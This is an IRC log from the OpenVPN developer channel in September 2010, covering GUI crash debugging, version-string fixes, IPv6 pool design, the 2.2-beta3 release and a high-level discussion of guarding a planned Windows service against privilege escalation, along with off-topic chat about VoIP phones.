<@cron2> I thought it was related to windows-msys-git, but just saw the error on linux as well 08:38 <@cron2> * [new tag] v2.2-beta3 -> v2.2-beta3 08:38 <@cron2> fatal: The remote end hung up unexpectedly 08:39 <@cron2> re-try then worked... 08:40 <@dazo> hmm ... I don't see that kind of error, as I'm using ssh+git:// to have write access ... but I sometimes get authentication errors, but if it is coming more often - we should probably consider to push our tree somewhere else in addition 08:40 <@cron2> yep 08:40 <@dazo> (as it don't take me much effort at all, I don't mind pushing stuff more places) 08:58 <@cron2> *grumble grumble*, domake-win is painful... if something breaks in building the installer, another run of the program rebuilds everything from scratch 08:58 <@cron2> (I had a nice openvpn.exe with v6 and new tap driver, but no gui yet) 09:01 <@dazo> cron2: if you want to split the domake-win into several separate parts ... I don't consider that a bad thing :) 09:05 <@cron2> nah 09:09 <@cron2> d12fk: ayt? 09:14 <@mattock> ecrist: I'll add the release to staging webserver tomorrow morning... then I'll mail frank and ask him to push it to production 09:15 <@cron2> d12fk's new and all improved openvpn-gui doesn't do anything for me, not even an error message :( 09:15 <@mattock> I guess I'll have to host the 2.2-beta3 files on build, though 09:20 <@d12fk> cron2: what up?! 09:20 <@cron2> "no work!" 09:20 <@d12fk> ayyeee! 09:20 <@cron2> indeed :-) 09:20 <@d12fk> it does show up in the tray though? 09:21 <@cron2> no 09:21 <@d12fk> oh that's nteresting then 09:21 <@cron2> it just starts, takes 1 second or so, then returns to the prompt 09:21 <@d12fk> did you compile it yourself 09:21 <@cron2> the "old" gui (1.0.3) starts, puts an icon into the tray, and keeps running (returns to prompt when I klick on "exit") 09:22 <@cron2> no, binary from sourceforge 09:22 <@cron2> 20100827... snapshot 09:22 <@d12fk> latest i suppose? 09:22 <@cron2> yep 09:22 <@d12fk> ah ok 09:22 <@d12fk> what windows version are you using 09:22 <@cron2> XP SP3 09:22 <@d12fk> hm, that's what i'm currently developing it on 09:23 <@cron2> if I run the binary with "--help", I get the help window 09:23 <@cron2> let me check the 20100813 snapshot 09:23 <@d12fk> ok, so there might be a segfault on the way to showing up in the tray 09:24 <@cron2> same thing 09:24 <@d12fk> could you download procmon from sysinternals/ms and check what's the last thing it does to narrow it down 09:25 <@cron2> can you walk me through that? I'm not a windows developer... 09:25 < ecrist> mattock: we've been doing that all along, so I think it's best if we stay consistent 09:25 <@d12fk> oh it has a gui, pretty easy 09:25 <@cron2> sysinternals.com? 09:25 <@cron2> ah 09:26 <@cron2> getting processMonitor.zip 09:26 <@cron2> ok, gui window open. what next? 09:26 <@d12fk> if you get it from ms it's maybe newer 09:27 <@cron2> sysinternals.com redirects to ms :) 09:27 <@d12fk> http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx 09:27 < vpnHelper> Title: Process Monitor (at technet.microsoft.com) 09:27 <@d12fk> ah ok 09:27 <@cron2> filter? 09:27 <@d12fk> you can add a filter to include process name oepnvpn-gui.exe 09:28 <@d12fk> ... without the typo of course =) 09:29 <@d12fk> when you fire up the gui you should be flooded with stuff 09:30 <@d12fk> then you can file->save the output and send it to me 09:33 <@cron2> ah! 09:33 <@cron2> I was wondering what to do with the file now :-) 09:34 <@d12fk> do you have auto-start connections? 09:35 <@cron2> mape2k: www.greenie.net/ipv6/gui-procmon-1.PML 09:36 <@cron2> regarding auto-start connections: "I don't think so" - this machine has only a single OpenVPN connection configured 09:44 -!- d12fk [~heiko@vpn.astaro.de] has quit [Ping timeout: 258 seconds] 09:44 <@cron2> should I be worried now? 09:46 < ecrist> beta3 just got comitted to freebsd ports tree 09:47 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 09:47 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 09:47 <@cron2> welcome back :) 09:47 <@d12fk> re 09:48 <@d12fk> did you get [16:40] hm, what does "C:\Programme\OpenVPN\bin\openvpn.exe --help" put out? 09:48 <@cron2> no 09:48 <@cron2> I got 09:48 <@cron2> 16:44 -!- d12fk [~heiko@vpn.astaro.de] has quit [Ping timeout: 258 seconds] 09:48 <@cron2> but lemme check 09:49 <@cron2> prints looooonng listing 09:49 <@cron2> "the usual command line reference" 09:49 <@d12fk> sry, i meant --version 09:50 <@cron2> mmmh, lemme see whether I can get that over 09:51 <@cron2> I'n not IRCing from the windows box, so needed to copy 09:51 <@cron2> OpenVPN testing-93dc9179e978 i686-pc-mingw32 [SSL] [LZO2] [PKCS11] [MH] [PF_INET6] [IPv6 payload 20100307-1] built on Sep 8 2010 09:52 <@d12fk> that's it 09:52 <@cron2> (and more, but I think I know where it braks) 09:52 <@d12fk> no version 2.x detected 09:52 <@dazo> cool! 09:52 <@d12fk> i expect "OpenVPN 2." 09:53 <@cron2> does it matter what comes after the 2.? If not, I'll rebuild as "2.x-testing-" 09:53 <@d12fk> tha'll be fine 09:53 <@dazo> maybe we should change the version to exactly that pattern 09:53 <@cron2> dazo: maybe that would be something for your script as well, to have "2.x" there 09:53 <@cron2> yep :) 09:53 * dazo updates 09:54 <@cron2> d12fk: rebuilding now... 09:54 <@cron2> will take about 15 minutes 09:54 <@d12fk> i'll add a TODO about complaiing if the version doesn't match 09:54 <@cron2> d12fk: yes, that would be good - programs that just silently go away are mean :-) 09:54 <@d12fk> well. i'm there for ya =) 09:55 <@cron2> saves you time as well :-) 09:55 <@d12fk> nobody has such mean version string like you =P 09:56 <@dazo> d12fk: well, all who tries to build openvpn-testing allmerged on windows will ;-) 09:56 <@d12fk> oh my... 09:56 <@cron2> nobody but me ever dared... 09:56 <@dazo> obviously :) 09:56 <@dazo> d12fk: I'll fix that now 09:56 <@cron2> dazo: most unsuspecting builders will get 2.1.3a anyway :-) 09:57 <@dazo> OpenVPN 2.x-testing-93dc9179e978 x86_64-unknown-linux-gnu [SSL] [LZO2] [EPOLL] [eurephia] [MH] [PF_INET6] [IPv6 payload 20100307-1] built on Sep 8 2010 09:57 <@cron2> your machine is way faster than mine 09:57 * d12fk wonders why the old gui swallowed that version 09:57 <@dazo> cron2: true ... but all who uses ecrist's snapshot will stumple into this 09:57 <@cron2> d12fk: now that's a good question - "it did not check" maybe? Or maybe it only checked at "connect!" time 09:58 <@dazo> cron2: make -j4 ;-) ... I love my new laptop! :-P 09:58 <@cron2> if I do -j4, my windows machine will explode. It's something P4/1GHz or so 09:58 <@d12fk> it did check to find out if it's an "old" (<2) version, maybe you just ended up with the old flag set 10:00 <@d12fk> cron2: are you packaging the gui for the public? 10:00 <@cron2> d12fk: that was the plan, provide an ipv6-openvpn-testing-with-gui bundle 10:00 <@cron2> should I not do that? 10:01 <@cron2> I can build the installer without gui, and tell people to get the gui snapshot 10:01 <@d12fk> no it's fine this way it might get some actual exposure to users at this early point 10:01 < ecrist> is there something wrong with my snapshots? 10:01 <@cron2> that's the idea - people have asked me for "can you provide a working windows binary?" and this is why I'm fighting... 10:02 <@d12fk> there's some way to go until I'll call it a beta version, but for experimental folks it'll be just right 10:03 <@cron2> what's missing? 10:03 <@d12fk> some decent debug log where errors like your get reported for example 10:03 <@cron2> indeed, that would be useful :-) 10:03 <@cron2> ok... 10:03 <@cron2> 3... 10:03 <@cron2> 2... 10:03 <@cron2> 1... 10:04 <@cron2> huh 10:04 <@cron2> javaw.exe died and wants to send a problem report to microsoft 10:04 <@cron2> I'm sure that this is unrelated :-) 10:04 <@d12fk> they'll be happy about it 10:04 <@cron2> mmmh 10:04 <@cron2> so did openvpngui 10:05 <@cron2> I get the icon now, but when I click, it dies 10:05 <@d12fk> well then it's related to prsing the config directory probably 10:05 <@cron2> when I double-left-click, when I right-click, I get the popup 10:06 <@d12fk> hm 10:06 <@cron2> hah 10:06 <@cron2> works 10:06 <@d12fk> then it's unrelated 10:06 <@d12fk> what about the right click 10:07 <@cron2> right click -> connect 10:07 <@cron2> does :-) 10:07 <@d12fk> double click fails? 10:07 <@cron2> but it's confused 10:07 <@cron2> icon is green, hovering over the icon says "connected", but right-click doens't offer "disconnect", just "connect" 10:09 <@d12fk> kill openvpn.exe in taskmanager 10:09 <@cron2> double-click *now* opens the status window and offers "Trennen", "Neu Verbinden" 10:09 <@cron2> and "Trennen" actually works :-) 10:09 <@cron2> now the icon is back to "not connected" 10:09 <@cron2> and double-click on the icon gives "problem report" 10:10 <@d12fk> i haven't tested with just one config 10:10 <@cron2> thats what I have, just a single config 10:11 <@d12fk> can reproduce it 10:11 <@cron2> ok, so it's not my build. good 10:12 <@d12fk> it probably won't report the pool ipv6 correctly either 10:12 <@d12fk> oh no it actually should 10:13 <@cron2> how does the gui get the information? 10:13 <@d12fk> if it's reported correctly via mgmt itf 10:13 <@cron2> I'm not sure the openvpn side does the necessary things on the management if 10:14 <@d12fk> btw. the ipv6 pool shold probably be limited to /112 nets or something 10:14 <@cron2> why? 10:14 <@d12fk> must ppl will run out of memory otherwise 10:15 <@d12fk> a /64 will get me pagin' at least 10:15 <@cron2> well, the current implementation is not overly smart - the IPv6 pool will just do "grab an IPv4 pool address, use the index, take IPv6_pool_base+index = IPv6 pool IP" 10:15 <@cron2> so you can specify a /64, but it will only use the first addresses anyway 10:16 <@d12fk> ah ok 10:16 <@d12fk> so the users get the same offset in both families 10:17 <@cron2> same offset for "topology subnet", offset/4 for "topology net30" 10:17 <@d12fk> what if there's no ipv4 net? 10:17 <@cron2> without IPv4 pool, you can't have an IPv6 pool (today) 10:17 <@dazo> cron2: http://pastebin.ca/1935769 .... I'm trying to merge in James changes to SVN into allmerged ... but that causes some nastiness with IPv6 changes in socket.c ... 10:17 <@cron2> documented shortcoming :-) 10:17 <@d12fk> ok =) 10:18 <@cron2> dazo: I'm not sure if I have any IPv6 changes in socket.c, let me check 10:18 <@dazo> maybe it is JJO stuff 10:20 <@cron2> yep, thats JJO 10:20 <@cron2> my changes to socket.c don't touch "print_sockaddr_ex" 10:21 <@cron2> I just add some auxiliary funktions (print, parse, add ipv6 addresses) 10:21 <@dazo> cron2: oki ... I'll get in touch with him then .... there's no changes in his git tree since late February ... probably related to making yours and his patches merge 10:21 <@cron2> I think the february changes are due to the conflict in mroute.c 10:21 <@cron2> (which got fixed :) ) 10:22 <@dazo> that's right! 10:22 <@dazo> and if I don't have a response within about next week, I'll pull out his patch-set ... he still haven't responded to a bug query regarding to breakage of --multihome 10:23 <@cron2> mmmh. we need this functionality. :( 10:23 <@dazo> I know ... but I don't want unmaintained code .... especially when it breaks merges 10:24 <@cron2> yep 10:38 <@dazo> nag mail sent 10:39 <@dazo> mattock: I set you as Cc, to keep more people in the loop ... if we have an update for next weeks meeting, then that will be good to bring up at the meeting then 10:44 <@cron2> btw, the good thing is: -allmerged basically builds "out of the box" as soon as install-win32/settings.in is adjusted for the "here are the binaries for the bits that cannot be built locally" 10:44 <@cron2> parts 10:44 <@cron2> (domake-win, msys, mingw, winXP) 10:46 <@dazo> neat! 11:57 -!- d12fk [~heiko@vpn.astaro.de] has quit [Ping timeout: 265 seconds] 11:58 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 11:58 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 12:27 * dazo decides to start his holiday 12:28 -!- dazo is now known as dazo_afk 14:12 <@mattock> dazo: ok, good 14:12 <@mattock> both for your holiday starting and jjo patchset :) 15:23 -!- d303k [~heiko@vpn.astaro.de] has joined #openvpn-devel 15:24 < d303k> cron2: i just uploaded a new gui snapshot which should fix the problems you've reported 15:29 <@cron2> oh, cool :-) 15:30 <@cron2> (unfortunately I won't have access to the windows build machine before some time next week... but maybe more reports come in until then, and we need a new new snapshot anyway :) ) 15:34 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 15:34 < d303k> I hope not so many as I have little time to work on it atm 15:36 < d303k> but it seems to me that users don't report bugs, the two you found were obvious so I can't believe nobody ran into them 15:37 <@cron2> users these days don't test "beta" or "snapshot" releases unless there's interesting new functionality 15:37 <@cron2> (or free porn :( ) 15:38 < d303k> *addingTODO* =) 15:42 -!- d303k [~heiko@vpn.astaro.de] has quit [Quit: cu tomorrow] 16:03 -!- dazo_afk [~dazo@nat/redhat/x-jctdhsbbptdppozu] has quit [Ping timeout: 276 seconds] 16:03 -!- dazol [~dazo@nat/redhat/x-ojptkhlwjfkjcgpi] has joined #openvpn-devel 16:04 < ecrist> openvpn2.2-beta4, now with d303k pron! 16:05 < ecrist> oh noes! my vpnz gotz teh virus! 16:10 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 16:51 -!- Irssi: #openvpn-devel: Total of 15 nicks [2 ops, 0 halfops, 0 voices, 13 normal] 16:51 < ecrist> cron2: we have reaquired #openvpn 16:52 < ecrist> actually, the group registration went through with your help, and RichiH and tomaw's help, so we have #openvpn-* 18:10 < krzie> tomaw is a good dude --- Day changed Thu Sep 09 2010 01:09 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:09 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:34 <@mattock> djc: I checked the Trac spam issue 01:35 <@mattock> for some reason Trac thinks you're "anonymous" and not authenticated 01:35 <@mattock> could you try logging out and logging back in... and then trying to add a comment 01:49 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 02:53 <@cron2> ecrist: cool 02:56 < djc> mattock: I logged out and back in several times 02:56 <@mattock> ok... strange 02:57 <@mattock> could you login now? I'll check trac logs 03:07 <@mattock> apache shows you logging in just fine, no problems there... it seems trac gets confused somehow 03:11 <@mattock> I tried adding comment to ticket #46 with another, non-privileged user account. Trac spam monitoring claimed my account was "anonymous", too. However, it did find an existing session and thus allowed the comment: "SessionFilterStrategy (9): Existing session found" 03:12 <@mattock> in your case it does not find an existing session and thus fails 03:12 <@mattock> ... I noticed you use Firefox 4.0beta5. Could you try IE or older version of Firefox? Perhaps there's something funky with Trac <-> browser interaction 03:15 <@mattock> also, make sure you don't have cookies disabled... I think trac uses those to trac sessions 03:31 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 276 seconds] 03:32 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 03:32 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 03:46 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 04:26 < djc> mattock: I don't have cookies disabled, for sure 04:26 <@cron2> d12fk: we're not sure we do a meeting tonight :-) - dazo is travelling, I'm sitting in a plane myself... so you can discuss that with mattock, but mit might be more productive to discuss it on the mailing list or postpone the IRC discussion for a week :-) 04:27 <@d12fk> will james be ther etonight 04:27 < djc> mattock: mmm, works with Chrome 04:55 <@mattock> d12fk, cron2: I'm thinking perhaps we should skip today's meeting. 04:56 <@mattock> d12fk: I can ask james to pop in here to chat with you 04:56 <@mattock> without us having an "official" meeting, that is 05:01 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 05:12 <@mattock> djc: perhaps cookie handling in Firefox 4.0beta5 is somehow different from other browsers? 05:19 <@mattock> d12fk: is this what you'd like to discuss with james: "@Samuli: is there some time left in the meeting tonight to kick off the discussion on that? If so, I'd like this topic to be added to the agenda." 05:34 <@mattock> d12fk: I asked James if he could come here to chat with you 05:37 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 06:31 <@mattock> okey dokey, the staging web server now has 2.2-beta3 download links: http://users.utu.fi/sjsepp/beta2.2.png 06:32 <@mattock> all files are hosted on build for now 06:54 <@d12fk> mattock: yes that would be the topic. any reply from james yet? 06:54 <@mattock> let me check... 06:54 <@mattock> not yet 06:55 <@d12fk> well, it's early morning there.. 06:55 <@mattock> yep, although James wakes up really early 07:31 < ecrist> mattock: good morning 07:31 <@mattock> ecrist: good morning! 07:32 <@mattock> I just edited this page: https://community.openvpn.net/openvpn/wiki/TesterDocumentation 07:32 < vpnHelper> Title: TesterDocumentation – OpenVPN Community (at community.openvpn.net) 07:32 <@mattock> and added links to that page from openvpn.net "community software -> downloads" page 07:33 < ecrist> mattock: I've finally managed to get control of the other IRC channel, as well as the group registration. 07:33 <@mattock> this is what I added to the downloads page: http://pastie.org/1147924 07:33 < ecrist> they would still like james to send that email confirmation, if possible, as certain peoples' balls are on the line for pushing the approval through without that. 07:34 <@mattock> ecrist: ok, could you mail him and CC me? 07:34 < ecrist> what's his email? 07:34 <@mattock> james at ... 07:34 <@mattock> the same domain as mine 07:35 < ecrist> ok 07:44 <@mattock> I finally managed to get rid of the obsolete mention of the PocketPC port 07:45 < ecrist> w00t 07:45 < ecrist> mattock: email sent 07:46 < ecrist> ##openvpn is consistently ~120 users now. 07:46 <@mattock> hope james goes out of stealth mode soon :) 07:46 <@mattock> yeah, quite a few people 07:46 < ecrist> fairly impressive from the ~15 users of a couple years ago 07:46 <@mattock> well, the guys at the IRC are pretty awesome :D 07:48 <@mattock> anyways, now it's just waiting... I hope Frank manages to put push all my openvpn.net fixes and additions online soon 08:12 < vpnHelper> RSS Update - tickets: #49: --float does not work with --server 08:17 -!- d12fk is now known as d000k 08:24 -!- krzee [~k@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 08:34 < vpnHelper> RSS Update - tickets: #50: Missing quotes and path check in easy-rsa batch files 08:36 -!- d000k is now known as d12fk 08:44 < vpnHelper> RSS Update - tickets: #51: Easy-rsa howto needs more info 08:50 < vpnHelper> RSS Update - tickets: #52: No routing after restart of Win 2003 Server on 2.1 08:57 < krzie> [05:49] fairly impressive from the ~15 users of a couple years ago 08:57 < krzie> i was just thinking that the other day 08:59 < ecrist> krzie: did you see that link about Snom I sent you? 08:59 < krzie> neg 09:02 < ecrist> ah, well, I can't find it now, I'll search again. Basically, Snom IP phones have a version of firmware that includes OpenVPN client with full tun/tap support 09:03 < ecrist> 15:59 < ecrist> krzee: if you hadn't seen this, btw: http://wiki.snom.com/Networking/Virtual_Private_Network_(VPN) 09:16 <@mattock> added snom to related projects list as a curiosity 09:17 < ecrist> I've got one of their phones in front of me, going to be testing it out, both for use as a phone, and as a vpn hardware client for our users 09:17 < ecrist> i.e. your phone provides your network access 09:17 < ecrist> just plug a computer into the phone, and you should have access to our lan. 09:18 -!- d12fk is now known as d000k 09:25 <@cron2> weird idea :-) but why not 09:28 -!- d000k is now known as d12fk 09:39 < ecrist> cron2: the nicest part, I control the full phone config from our provisioning server, so I can change configs on the fly, or tweak the VPN without having to issue new configs to the users themselves. 09:39 < ecrist> I'm going to reboot your phone. 09:39 < ecrist> done deal 09:41 < krzie> wow, certainly never heard of that! 09:45 <@cron2> ecrist: I know that this is used for most "professional" phones, but never thought of using this as a remote-controlled vpn appliance. Nice. 09:46 < krzie> ya, that is awesome 09:53 <@cron2> ok, I'm away for two days no, see ya on saturday... 10:20 < krzie> ecrist, [intra]lanman says cudatel will include openvpn at some point as well 10:20 < ecrist> neat 10:21 < krzie> aye 10:21 < ecrist> not that it will apply to me, though 10:21 < ecrist> it's cool that there will be such an appliance. 10:21 * krzie has 2 cudatels here 10:21 -!- krzie is now known as krzee 10:21 < ecrist> fwiw, I'm aware of a company that may/may not be looking at developing a FreeBSD-based VoIP appliance. I may/may not be pushing them toward using FreeSwitch 10:22 < krzee> its really the only way to go... 10:22 < ecrist> it would be available as an appliance in addition to being installable on more robust gear. 10:22 < krzee> if using asterisk and not wanting to go with a cluster, you need to use xen and cluster within the machine anyways 10:23 < krzee> cause asterisk just cant handle life as a real appliance 10:23 < krzee> deadlocks will happen... often 10:23 < ecrist> now if freeswitch could handle real failover, that would be sweet. 10:23 < krzee> its coming 10:23 < ecrist> that's what I've heard. 10:23 < ecrist> in the meantime, we're rolling out a second voip server with carp on the outside interface. 10:24 < krzee> i was sworn to secrecy... re exact details... but its going to be super extra impressive 10:25 < ecrist> krzee: image a cudatel appliance with which you could roll out voip and vpn connectivity by simply issuing a phone to a user 10:25 < ecrist> here's your phone, take it home, get to work. 10:26 < krzee> ya man, totally doable, and VERY impressive 10:26 < ecrist> that would be pretty sweet 10:26 < ecrist> I'm fighting with BLF support on this Snom now, it's buggy as hell in 1.0.6, and I'm working on manually compiling on freebsd. 10:26 < ecrist> the other issues I'm having is 1.0.6 is SO different from what's in git 10:27 < ecrist> no more mod_openzap, it's mod_freetdm 10:27 < ecrist> no more mod_fax, it's mod_spandsp 10:27 < ecrist> it's really too bad the core developers are such assholes 10:27 < krzee> ouch 10:28 < krzee> you mean brian/anthony? 10:28 < ecrist> and MikeJ 10:29 < ecrist> all three of them 10:29 -!- Irssi: #openvpn-devel: Total of 15 nicks [3 ops, 0 halfops, 0 voices, 12 normal] 10:29 < ecrist> [intra]lanman has been pretty helpful thus far, but I suspect it's due to my/our help with his openvpn issues. 10:31 < krzee> we actually have yet to help him at all 10:31 < ecrist> naw, he asked me some questions a while ago, when he first popped in. 10:31 < ecrist> iirc, some of them were via PM 10:31 < ecrist> *shrug* 10:31 < krzee> and i understand with brian/anthony/jerris 10:31 < krzee> those guys are overworked hardcore 10:32 < ecrist> I've gotten used to figuring shit out on my own wrt freeswitch 10:32 < krzee> they just migrated barracuda to cudatel, and had to work on a TON of internal requests for changes 10:32 < krzee> a couple of which very much benefitted me =] =] 10:33 < ecrist> mostly what irritates me is their attitude toward freebsd 10:33 < ecrist> I think that stems from unixdawg/rneese being the defacto freebsd representative to freeswitch 10:33 < krzee> tell ya what tho... if i ever get to hang with mike collins i will certainly be buying him beers / dinner / whatever 10:34 < ecrist> but, when I bring up the OS, I'm told to ditch it for CentOS 10:34 < ecrist> and then they proceed to ignore me 10:34 < krzee> they have so much to work on re: freeswitch, they cant be bothered to also support OS's, i kinda understand their stance there 10:34 < krzee> not that im a fan of it, but i understand 10:34 < krzee> lil things like internal kernel timi9ng changes * 10:34 < ecrist> I don't want OS-specific support, really. 10:35 < ecrist> I wrote a patch at one point to resolve a compile issue on freebsd. submitted to jira. MikeJ didn't like it. 10:35 < ecrist> it was since included in the freebsd port 10:35 < ecrist> which caused him to blow up at me 10:36 < ecrist> great software, pretty crappy community around it, imho 10:36 < krzee> whoa, im surprised to hear that 10:37 < krzee> ive always been quite impressed with their community 10:37 < krzee> ive spoke with each and every one of them... had nothing but good experiences 10:37 < krzee> then again i wasnt trying to get patches added or anything, lol 10:38 < ecrist> for a simple end-user, it's OK, for someone who's pretty active in such things and tries to push forward improvements, not so much. 10:38 < ecrist> you should see the number of changes that have been put into proftpd due to our testing and vetting 10:39 < ecrist> probably ~100 patches 10:39 < krzee> whoa, i had no idea 10:39 < ecrist> we don't write those, castaglia (TJ Saunders) or johnmoor do those, but we find the bugs, report them, and work with them to get things fixed. 10:40 < ecrist> that's becoming our overall MO in regards to opensource software. 10:40 < ecrist> we've gotta give back somehow. 10:41 < ecrist> $75,000 in servers running free-as-in-beer software for a multi-million dollar company 10:41 < krzee> thats whats up! 10:41 < ecrist> part of all this is a hobby for me, I've been doing it since ~97 10:42 < ecrist> the other part, it's my job. ;) 10:43 < krzee> thats the best kind of job 10:44 < krzee> a man who can get paid for his hobby is a happy man 10:44 < ecrist> we haven't done much in terms of financial donations yet, but I'm pushing the boss to doing things like send me to BSDCan next year to possibly speak on OpenLDAP or OpenVPN as a company-sponsored speaker 10:45 < krzee> may as well get sent to cluecon too 10:46 < ecrist> I could have gone this year, but see above regarding my esteem for those developers 10:47 < krzee> sometimes a beer in person can change everything 10:47 < ecrist> oh, that's the truth, I know. 10:47 < ecrist> it's hard, sometimes, to convey intent over IRC or email 10:50 < ecrist> I have a much better relationship with some FreeBSD devs since I went to BSDCan this year. 10:50 < krzee> plus those same emails/IRChats can be seen in a different light once they actually know you 10:50 < krzee> exactly 10:51 < ecrist> some of those wheels were greased by a trip to the strip club, though. :) 10:51 < krzee> exactly what im talking about 10:51 < krzee> 100% 10:52 < ecrist> heh 10:52 < ecrist> so, athm is a nicer guy when there's funbags in his face? 10:52 < krzee> not sure... but i know i am! 10:52 < krzee> arent you!? 10:53 < ecrist> lol 10:53 < ecrist> of course 10:53 < krzee> i know that wouldnt change brian tho 10:54 < ecrist> when it comes to hard core coders, though, you don't know if they're going to be socially capable, or as my friend likes to say mixed in with the "aieee, mom, I spilled my ear medicine again" types. 10:54 < ecrist> I wouldn't lump either of us into that latter group 10:55 < krzee> right 10:59 < ecrist> all that being said, we still use freeswitch, we just do things to it that we keep in-house now, and don't contribute upstream 12:55 -!- d303k [~heiko@i59F79E70.versanet.de] has joined #openvpn-devel 12:56 < d303k> mattock: will james be here tonight? 12:56 <@mattock> he has not responded anything to me... I can check if he's in Skype 12:57 < d303k> ok, I'll lurk around for a while anyways 12:58 <@mattock> james is on skype, I asked him to visit this channel if possible 12:58 <@mattock> actually, my messages did not get through 12:59 <@mattock> don't lurk too long :) 13:01 < ecrist> I thought the meeting was cancelled since dazo and cron2 couldn't be here. 13:02 < d303k> it's more like a privae audience =) 13:03 < ecrist> whooo! 13:11 <@mattock> yep, I warned about skipping today's meeting on the ml and nobody yelled, so ... :) 13:12 <@mattock> this is a historical moment indeed 14:04 -!- d303k [~heiko@i59F79E70.versanet.de] has quit [Remote host closed the connection] 14:05 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:05 -!- d303k [~heiko@i59F79E70.versanet.de] has joined #openvpn-devel 14:05 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:06 < d303k> oh hi james 14:08 <@jamesyonan> hi 14:09 < d303k> do you have a couple of minutes to go through the vague future plans for the gui? 14:12 -!- mode/#openvpn-devel [+o d303k] by ChanServ 14:12 <@jamesyonan> sure 14:13 <@d303k> the main ploblem windows users currently have is that openvpn can't set routes if they are not in the routing operator group 14:14 <@d303k> even those who are member in the administrator group can't just connect starting with w7 14:16 <@d303k> my idea is to enhance the windows openvpn service, so it can be used to start openvpn processes on behalf of other processes 14:16 <@jamesyonan> yes that makes sense -- usually a privilege separation approach is needed for this 14:16 <@d303k> so, the gui could signal the service to start an openvpn process with a certain cmdline and do the rest with via mgmt itf 14:16 <@jamesyonan> right 14:18 <@d303k> i've done zero research on how processes can communicate with services but there must be a way, other software does it as well 14:22 <@d303k> ok so we generally agree on the concept? not much more to talk about this then 14:25 <@jamesyonan> processes can communicate with services using a localhost TCP port, or using Windows-specific named pipes 14:26 <@d303k> named pipes sound like my choice here =) 14:38 <@d303k> can you come up with a command line a malicious user could use through that future service to gain something? 14:39 <@jamesyonan> yeah, you have to be careful about local privilege escalation attacks when you are using a split privilege model 14:39 * ecrist imagines scripts that get munged, amongst other things. 14:40 <@jamesyonan> you might take a look at the mac client (tunnelblick) -- it only allows configs to be installed by root, then non-root can only start or stop the config 14:45 <@d303k> are the scripts run with the same privileges as openvpn? 14:47 <@jamesyonan> yes 14:48 <@d303k> hm, i'm thinking about a wrapper script that executes the scripts with the security token of the client that started openvpn via the service 14:49 <@d303k> wrapper binary would probably be closer to reality 14:49 <@d303k> the system account can probanly impersonate as anyone 14:49 < ecrist> jamesyonan: OT, did you get my email earlier? 14:50 <@jamesyonan> yes, I can do that 14:51 < ecrist> thanks. :) 14:51 <@jamesyonan> sure thing! 14:51 <@d303k> that would be nicer as user could still install configs in their home directories, which will be supported when i'm through eith the gui =) 14:55 <@d303k> anything besides the running the scripts with a higher privilege? 14:56 <@d303k> of course you could manipulate the routing table as a user if you control the server, but then an admin must have installed the service and expects the routes to be messed with 15:15 <@d303k> ok, that it for tonight. I'll take the discussion about the details to the mailing list. 15:15 <@d303k> cu 15:16 -!- d303k [~heiko@i59F79E70.versanet.de] has quit [Quit: Konversation terminated!] 15:48 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 18:49 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 21:18 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 21:18 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Fri Sep 10 2010 02:07 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:07 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:15 <@mattock> 2.2-beta3 is now released: http://openvpn.net/index.php/open-source/downloads.html 02:15 < vpnHelper> Title: Downloads (at openvpn.net) 02:15 <@mattock> and the windows client issue is fixed: http://openvpn.net/index.php/openvpn-client/downloads.html 02:15 < vpnHelper> Title: Downloads (at openvpn.net) 02:16 <@mattock> the windows download link on the front page is still pointing to the "Access Server client", but it at least pops up a warning dialog ("not 100% compatible with OpenVPN") 02:16 <@mattock> actually, the front page is fixed, too 02:17 <@mattock> thanks to Frank :D 02:33 <@mattock> 2.2-beta3 is official now... yet another historic moment :) 02:39 <@mattock> ecrist: is it possible to change the name of "Annoucement" forum board to "Announcement"? It hurts my eye... 04:14 <@mattock> community vpn server now shares static addresses 04:14 <@mattock> I mean, distributes... 04:24 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 07:06 < ecrist> done 07:20 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 08:30 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 08:33 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 08:39 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 10:29 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Read error: Connection reset by peer] 10:30 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 10:30 -!- 